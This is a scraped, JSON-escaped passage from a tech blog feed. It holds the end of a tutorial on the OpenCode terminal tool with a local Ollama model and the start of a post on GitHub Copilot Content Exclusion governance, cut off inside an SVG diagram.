style=\"display:flex;\"\u003e\u003cspan\u003e    f\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003eclose()\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#66d9ef\"\u003ereturn\u003c/span\u003e data\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e\u003cstrong\u003eLaunch OpenCode in the project directory:\u003c/strong\u003e\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-bash\" data-lang=\"bash\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003ecd ~/projects/data-pipeline\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eopencode\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e\u003cstrong\u003eAdd the file to context:\u003c/strong\u003e\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003e@parser.py\n\u003c/code\u003e\u003c/pre\u003e\u003cp\u003e\u003cstrong\u003eSend the prompt:\u003c/strong\u003e\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003eRefactor parse_csv to use a context manager for file handling, add a type hint for the return value, and raise a descriptive ValueError if the file doesn\u0026#39;t exist.\n\u003c/code\u003e\u003c/pre\u003e\u003cp\u003eOpenCode sends the file content plus your prompt to Ollama. The model generates the refactored function and presents a diff (note: \u003ccode\u003elist[dict]\u003c/code\u003e requires Python 3.9+):\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-python\" data-lang=\"python\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003eimport\u003c/span\u003e csv\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003efrom\u003c/span\u003e pathlib \u003cspan style=\"color:#f92672\"\u003eimport\u003c/span\u003e Path\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#66d9ef\"\u003edef\u003c/span\u003e \u003cspan style=\"color:#a6e22e\"\u003eparse_csv\u003c/span\u003e(filepath: str) \u003cspan style=\"color:#f92672\"\u003e-\u0026gt;\u003c/span\u003e list[dict]:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    path \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e Path(filepath)\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#66d9ef\"\u003eif\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003enot\u003c/span\u003e path\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003eexists():\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#66d9ef\"\u003eraise\u003c/span\u003e \u003cspan style=\"color:#a6e22e\"\u003eValueError\u003c/span\u003e(\u003cspan style=\"color:#e6db74\"\u003ef\u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;CSV file not found: \u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e{\u003c/span\u003efilepath\u003cspan style=\"color:#e6db74\"\u003e}\u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;\u003c/span\u003e)\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#66d9ef\"\u003ewith\u003c/span\u003e open(path, newline\u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e\u0026#39;\u0026#39;\u003c/span\u003e) \u003cspan style=\"color:#66d9ef\"\u003eas\u003c/span\u003e f:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#66d9ef\"\u003ereturn\u003c/span\u003e list(csv\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003eDictReader(f))\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eThe diff shows: import moved to top level, \u003ccode\u003eopen()\u003c/code\u003e replaced with a context manager, type hints added, error check inserted. Review it — accept or reject.\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003eRun the tests immediately after accepting:\u003c/strong\u003e\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003e!pytest tests/test_parser.py -v\n\u003c/code\u003e\u003c/pre\u003e\u003cp\u003eThe test output appears in the conversation. If a test fails, the model reads the failure message and can generate a fix. When tests pass, start a new session to clear the context and move on.\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003e/new\n\u003c/code\u003e\u003c/pre\u003e\u003cp\u003eThe entire sequence — prompt, review, apply, test — takes about 2 minutes without leaving the terminal.\u003c/p\u003e\n\u003ch2 id=\"best-practices\"\u003eBest Practices\u003c/h2\u003e\n\u003cp\u003e\u003cstrong\u003eUse \u003ccode\u003e/new\u003c/code\u003e aggressively.\u003c/strong\u003e KV cache memory on an 8GB VRAM setup is finite. Every file you attach stays in the cache and slows subsequent generation. After finishing a task, clear the session immediately.\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003eReview every diff before accepting.\u003c/strong\u003e Local 8B models handle targeted, single-file changes well, but occasionally hallucinate line numbers or inject variables that don\u0026rsquo;t exist in your actual file. The diff view is there to catch this — read it. One line of misaligned context can introduce a silent bug.\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003eAvoid \u003ccode\u003e@folder\u003c/code\u003e dumps.\u003c/strong\u003e Adding the entire project directory pushes hundreds of kilobytes into the context window and immediately exhausts VRAM on anything less than a 16GB GPU. Attach individual files. If you need cross-file context, attach the two or three most relevant ones.\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003eStart \u003ccode\u003e/new\u003c/code\u003e sessions for unrelated tasks.\u003c/strong\u003e OpenCode carries conversation history in the context window. A session that started with a database refactor will color suggestions for an unrelated frontend component. Clear it when switching domains.\u003c/p\u003e\n\u003ch2 id=\"troubleshooting\"\u003eTroubleshooting\u003c/h2\u003e\n\u003cp\u003e\u003cstrong\u003eProblem: OpenCode hangs when trying to apply a diff.\u003c/strong\u003e\u003c/p\u003e\n\u003cp\u003eCause: The model hallucinated line numbers or file structure that don\u0026rsquo;t match your actual file. The patching process fails because the context markers don\u0026rsquo;t align.\u003c/p\u003e\n\u003cp\u003eFix: Reject the diff. Ask the model to rewrite the entire function block rather than generating a partial patch. Full replacements are more reliable than line-specific diffs from 8B models.\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003eProblem: \u003ccode\u003eConnection refused\u003c/code\u003e when OpenCode connects to Ollama.\u003c/strong\u003e\u003c/p\u003e\n\u003cp\u003eCause: Ollama isn\u0026rsquo;t running, or the \u003ccode\u003ebaseURL\u003c/code\u003e in \u003ccode\u003eopencode.json\u003c/code\u003e is missing the \u003ccode\u003e/v1\u003c/code\u003e suffix.\u003c/p\u003e\n\u003cp\u003eFix: Confirm Ollama is running (\u003ccode\u003ecurl http://localhost:11434/api/tags\u003c/code\u003e should return JSON). Check the config — the URL must be \u003ccode\u003ehttp://localhost:11434/v1\u003c/code\u003e, not \u003ccode\u003ehttp://localhost:11434\u003c/code\u003e.\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003eProblem: \u0026ldquo;Tools not enabled\u0026rdquo; error.\u003c/strong\u003e\u003c/p\u003e\n\u003cp\u003eCause: The model entry in \u003ccode\u003eopencode.json\u003c/code\u003e is missing \u003ccode\u003e\u0026quot;tools\u0026quot;: true\u003c/code\u003e.\u003c/p\u003e\n\u003cp\u003eFix: Add \u003ccode\u003e\u0026quot;tools\u0026quot;: true\u003c/code\u003e to the model\u0026rsquo;s config entry, save, and restart OpenCode. Without it, the model generates code but OpenCode can\u0026rsquo;t apply the output as filesystem diffs — it can only print it.\u003c/p\u003e\n\u003ch2 id=\"key-takeaways\"\u003eKey Takeaways\u003c/h2\u003e\n\u003cp\u003eOpenCode\u0026rsquo;s value is eliminating the gap between AI generation and file editing. The workflow centers on three commands: \u003ccode\u003e@\u003c/code\u003e to provide context, a natural-language prompt to request the change, and diff acceptance to write it to disk. The \u003ccode\u003e/new\u003c/code\u003e command is what keeps the workflow fast — managing KV cache actively is the difference between a productive session and a frustrating one.\u003c/p\u003e\n\u003cp\u003eLocal 8B models handle targeted, file-specific changes well. They struggle with large-scale cross-file refactoring. Use OpenCode for what it does best: focused, single-file changes that you\u0026rsquo;ve reviewed before accepting.\u003c/p\u003e\n\u003ch2 id=\"sources\"\u003eSources\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/opencode-ai/opencode\"\u003eOpenCode GitHub Repository\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ollama/ollama\"\u003eOllama Official Documentation\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://platform.openai.com/docs/api-reference\"\u003eOpenAI-Compatible API Reference\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://docs.npmjs.com/downloading-and-installing-packages-globally\"\u003eNode.js Global Package Installation\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!--\n### Image Generation Prompts\n1. **3D Abstract:** A clean, isometric 3D visualization of a modern computer terminal smoothly merging with glowing data streams. The terminal window is abstract, represented by floating translucent dark glass panels with bright cyan and orange light tracing along the edges, simulating code generation. A central glowing orb represents the local AI model, feeding structured light pathways directly into the glass panels. Minimalist, soft shadows, wide landscape format, 16:9 aspect ratio.\n2. **Cyber-Industrial:** A high-contrast, cyber-industrial scene showing a continuous loop of glowing green and blue fiber optic data streams flowing directly into a sleek, dark metallic command line interface structure. The environment is dark and atmospheric, with volumetric lighting highlighting the data pathways bypassing traditional physical barriers. Tech-focused, abstract representation of local AI processing, wide landscape format, 16:9 aspect ratio.\n3. **Minimalist Vector:** A clean minimalist vector illustration of a terminal window connected directly to an artificial intelligence neural network node. The design uses flat color fields in deep navy blue, vibrant purple, and electric cyan. Clean geometric lines represent the flow of information without any text or ui elements. Professional tech aesthetic, sharp edges, wide landscape format, 16:9 aspect ratio.\n4. **Macro Tech Detail:** An extreme macro close-up of a high-end glowing computer chip integrated directly onto a dark printed circuit board, with vibrant neon blue pathways illuminating the traces. The focus is shallow, with cinematic bokeh in the background. The glowing pathways suggest rapid, local data processing and artificial intelligence generation. Highly detailed, photorealistic, wide landscape format, 16:9 aspect ratio.\n--\u003e\n","description":"A practical tutorial on installing OpenCode, navigating its TUI, and using slash commands to generate code and manage files directly from your terminal.","image":"images/featured.webp","permalink":"https://larryjameshenry.com/posts/mastering-opencode-tui/","title":"Mastering the OpenCode Terminal User Interface"},{"content":"\u003cp\u003eSomeone on your team opens a pull request. Copilot Chat is active, the monorepo is open in their IDE, and they type \u003ccode\u003e@workspace\u003c/code\u003e. In that moment, Copilot has context over your Terraform modules with embedded policy logic, your Bicep templates with subscription IDs, your internal SDK with proprietary algorithms, and whatever \u003ccode\u003e.env.local\u003c/code\u003e a developer forgot to add to \u003ccode\u003e.gitignore\u003c/code\u003e. None of that was a misconfiguration. That is Copilot working exactly as designed — maximum context, maximum suggestions.\u003c/p\u003e\n\u003cp\u003eGovernance is your responsibility, not GitHub\u0026rsquo;s default. Your team probably enabled GitHub Copilot Enterprise at the organization level and considered the security review done. Data stays within the GitHub Enterprise boundary — fair enough. But you have not yet controlled \u003cem\u003ewhich\u003c/em\u003e data Copilot is allowed to process. That is a different problem, and Content Exclusions are how you solve it.\u003c/p\u003e\n\u003ch3 id=\"content-exclusion-policy-hierarchy\"\u003eContent Exclusion Policy Hierarchy\u003c/h3\u003e\n\n\n\n\u003cdiv class=\"goat svg-container \"\u003e\n\t\n\t\t\u003csvg\n\t\t\txmlns=\"http://www.w3.org/2000/svg\"\n\t\t\tfont-family=\"Menlo,Lucida Console,monospace\"\n\t\t\t\n\t\t\t\tviewBox=\"0 0 400 345\"\n\t\t\t\u003e\n\t\t\t\u003cg transform='translate(8,16)'\u003e\n\u003cpath d='M 48,48 L 216,48' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 216,48 L 384,48' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 48,112 L 216,112' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 216,112 L 384,112' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 80,176 L 88,176' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 48,192 L 216,192' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 216,192 L 384,192' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 48,256 L 216,256' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 216,256 L 384,256' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 72,304 L 80,304' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 48,320 L 384,320' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 48,112 L 48,192' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 48,256 L 48,320' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 216,48 L 216,64' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 216,96 L 216,112' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 216,192 L 216,208' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 216,240 L 216,256' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 384,112 L 384,192' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 384,256 L 384,320' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003ccircle cx='96' cy='176' r='6' stroke='currentColor' fill='currentColor'\u003e\u003c/circle\u003e\n\u003ccircle cx='104' cy='176' r='6' stroke='currentColor' fill='currentColor'\u003e\u003c/circle\u003e\n\u003ctext text-anchor='middle' x='48' y='4' fill='currentColor' style='font-size:1em'\u003e[\u003c/text\u003e\n\u003ctext text-anchor='middle' x='48' y='20' fill='currentColor' style='font-size:1em'\u003e(\u003c/text\u003e\n\u003ctext text-anchor='middle' x='48' y='36' fill='currentColor' style='font-size:1em'\u003e-\u003c/text\u003e\n\u003ctext text-anchor='middle' x='56' y='20' fill='currentColor' style='font-size:1em'\u003eT\u003c/text\u003e\n\u003ctext text-anchor='middle' x='64' y='4' fill='currentColor' style='font-size:1em'\u003eE\u003c/text\u003e\n\u003ctext text-anchor='middle' x='64' y='20' fill='currentColor' style='font-size:1em'\u003eh\u003c/text\u003e\n\u003ctext text-anchor='middle' x='64' y='36' fill='currentColor' style='font-size:1em'\u003eD\u003c/text\u003e\n\u003ctext text-anchor='middle' x='64' y='132' fill='currentColor' style='font-size:1em'\u003e[\u003c/text\u003e\n\u003ctext text-anchor='middle' x='64' y='276' fill='currentColor' style='font-size:1em'\u003e[\u003c/text\u003e\n\u003ctext text-anchor='middle' x='72' y='4' fill='currentColor' style='font-size:1em'\u003eN\u003c/text\u003e\n\u003ctext text-anchor='middle' x='72' y='20' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='72' y='36' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='72' y='148' fill='currentColor' style='font-size:1em'\u003e(\u003c/text\u003e\n\u003ctext text-anchor='middle' x='72' y='292' fill='currentColor' style='font-size:1em'\u003e-\u003c/text\u003e\n\u003ctext text-anchor='middle' x='80' y='4' fill='currentColor' style='font-size:1em'\u003eT\u003c/text\u003e\n\u003ctext text-anchor='middle' x='80' y='36' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='80' y='132' fill='currentColor' style='font-size:1em'\u003eO\u003c/text\u003e\n\u003ctext text-anchor='middle' x='80' y='148' fill='currentColor' style='font-size:1em'\u003eC\u003c/text\u003e\n\u003ctext text-anchor='middle' x='80' y='164' fill='currentColor' style='font-size:1em'\u003e-\u003c/text\u003e\n\u003ctext text-anchor='middle' x='80' y='276' fill='currentColor' style='font-size:1em'\u003eR\u003c/text\u003e\n\u003ctext text-anchor='middle' x='88' y='4' fill='currentColor' style='font-size:1em'\u003eE\u003c/text\u003e\n\u003ctext text-anchor='middle' x='88' y='20' fill='currentColor' style='font-size:1em'\u003e\"\u003c/text\u003e\n\u003ctext text-anchor='middle' x='88' y='36' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='88' y='132' fill='currentColor' style='font-size:1em'\u003eR\u003c/text\u003e\n\u003ctext text-anchor='middle' x='88' y='148' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='88' y='276' fill='currentColor' style='font-size:1em'\u003eE\u003c/text\u003e\n\u003ctext text-anchor='middle' x='88' y='292' fill='currentColor' style='font-size:1em'\u003eC\u003c/text\u003e\n\u003ctext text-anchor='middle' x='88' y='308' fill='currentColor' style='font-size:1em'\u003e(\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='4' fill='currentColor' style='font-size:1em'\u003eR\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='20' fill='currentColor' style='font-size:1em'\u003eH\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='36' fill='currentColor' style='font-size:1em'\u003eb\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='132' fill='currentColor' style='font-size:1em'\u003eG\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='148' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='164' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='276' fill='currentColor' style='font-size:1em'\u003eP\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='292' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='308' fill='currentColor' style='font-size:1em'\u003eS\u003c/text\u003e\n\u003ctext text-anchor='middle' x='104' y='4' fill='currentColor' style='font-size:1em'\u003eP\u003c/text\u003e\n\u003ctext text-anchor='middle' x='104' y='20' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='104' y='36' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='104' y='132' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='104' y='148' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='104' y='164' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='104' y='276' fill='currentColor' style='font-size:1em'\u003eO\u003c/text\u003e\n\u003ctext text-anchor='middle' x='104' y='292' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='104' y='308' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='112' y='4' fill='currentColor' style='font-size:1em'\u003eR\u003c/text\u003e\n\u003ctext text-anchor='middle' x='112' y='20' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='112' y='36' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='112' y='132' fill='currentColor' style='font-size:1em'\u003eN\u003c/text\u003e\n\u003ctext text-anchor='middle' x='112' y='148' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='112' y='164' fill='currentColor' style='font-size:1em'\u003ef\u003c/text\u003e\n\u003ctext text-anchor='middle' x='112' y='180' fill='currentColor' style='font-size:1em'\u003e/\u003c/text\u003e\n\u003ctext text-anchor='middle' x='112' y='276' fill='currentColor' style='font-size:1em'\u003eS\u003c/text\u003e\n\u003ctext text-anchor='middle' x='112' y='292' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='112' y='308' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='4' fill='currentColor' style='font-size:1em'\u003eI\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='20' fill='currentColor' style='font-size:1em'\u003ed\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='84' fill='currentColor' style='font-size:1em'\u003e(\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='132' fill='currentColor' style='font-size:1em'\u003eI\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='148' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='164' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='180' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='228' fill='currentColor' style='font-size:1em'\u003e(\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='276' fill='currentColor' style='font-size:1em'\u003eI\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='292' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='308' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='4' fill='currentColor' style='font-size:1em'\u003eS\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='36' fill='currentColor' style='font-size:1em'\u003eP\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='84' fill='currentColor' style='font-size:1em'\u003eE\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='132' fill='currentColor' style='font-size:1em'\u003eZ\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='148' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='164' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='180' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='228' fill='currentColor' style='font-size:1em'\u003eP\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='276' fill='currentColor' style='font-size:1em'\u003eT\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='292' fill='currentColor' style='font-size:1em'\u003em\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='308' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='4' fill='currentColor' style='font-size:1em'\u003eE\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='20' fill='currentColor' style='font-size:1em'\u003eF\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='36' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='84' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='132' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='164' fill='currentColor' style='font-size:1em'\u003e/\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='180' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='228' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='276' fill='currentColor' style='font-size:1em'\u003eO\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='308' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='20' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='36' fill='currentColor' style='font-size:1em'\u003eb\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='84' fill='currentColor' style='font-size:1em'\u003ef\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='132' fill='currentColor' style='font-size:1em'\u003eT\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='148' fill='currentColor' style='font-size:1em'\u003eE\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='164' fill='currentColor' style='font-size:1em'\u003e*\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='180' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='228' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='276' fill='currentColor' style='font-size:1em'\u003eR\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='292' fill='currentColor' style='font-size:1em'\u003eI\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='308' fill='currentColor' style='font-size:1em'\u003em\u003c/text\u003e\n\u003ctext text-anchor='middle' x='152' y='4' fill='currentColor' style='font-size:1em'\u003eP\u003c/text\u003e\n\u003ctext text-anchor='middle' x='152' y='20' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='152' y='36' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='152' y='84' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='152' y='132' fill='currentColor' style='font-size:1em'\u003eI\u003c/text\u003e\n\u003ctext text-anchor='middle' x='152' y='148' fill='currentColor' style='font-size:1em'\u003ex\u003c/text\u003e\n\u003ctext text-anchor='middle' x='152' y='164' fill='currentColor' style='font-size:1em'\u003e*\u003c/text\u003e\n\u003ctext text-anchor='middle' x='152' y='180' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='152' y='228' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='152' y='276' fill='currentColor' style='font-size:1em'\u003eY\u003c/text\u003e\n\u003ctext text-anchor='middle' x='152' y='292' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='152' y='308' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='160' y='4' fill='currentColor' style='font-size:1em'\u003eO\u003c/text\u003e\n\u003ctext text-anchor='middle' x='160' y='20' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='160' y='36' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='160' y='84' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='160' y='132' fill='currentColor' style='font-size:1em'\u003eO\u003c/text\u003e\n\u003ctext text-anchor='middle' x='160' y='148' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='160' y='180' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='160' y='228' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='160' y='292' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='160' y='308' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='168' y='4' fill='currentColor' style='font-size:1em'\u003eL\u003c/text\u003e\n\u003ctext text-anchor='middle' x='168' y='20' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='168' y='36' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='168' y='84' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='168' y='132' fill='currentColor' style='font-size:1em'\u003eN\u003c/text\u003e\n\u003ctext text-anchor='middle' x='168' y='148' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='168' y='180' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='168' y='228' fill='currentColor' style='font-size:1em'\u003eg\u003c/text\u003e\n\u003ctext text-anchor='middle' x='168' y='292' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='168' y='308' fill='currentColor' 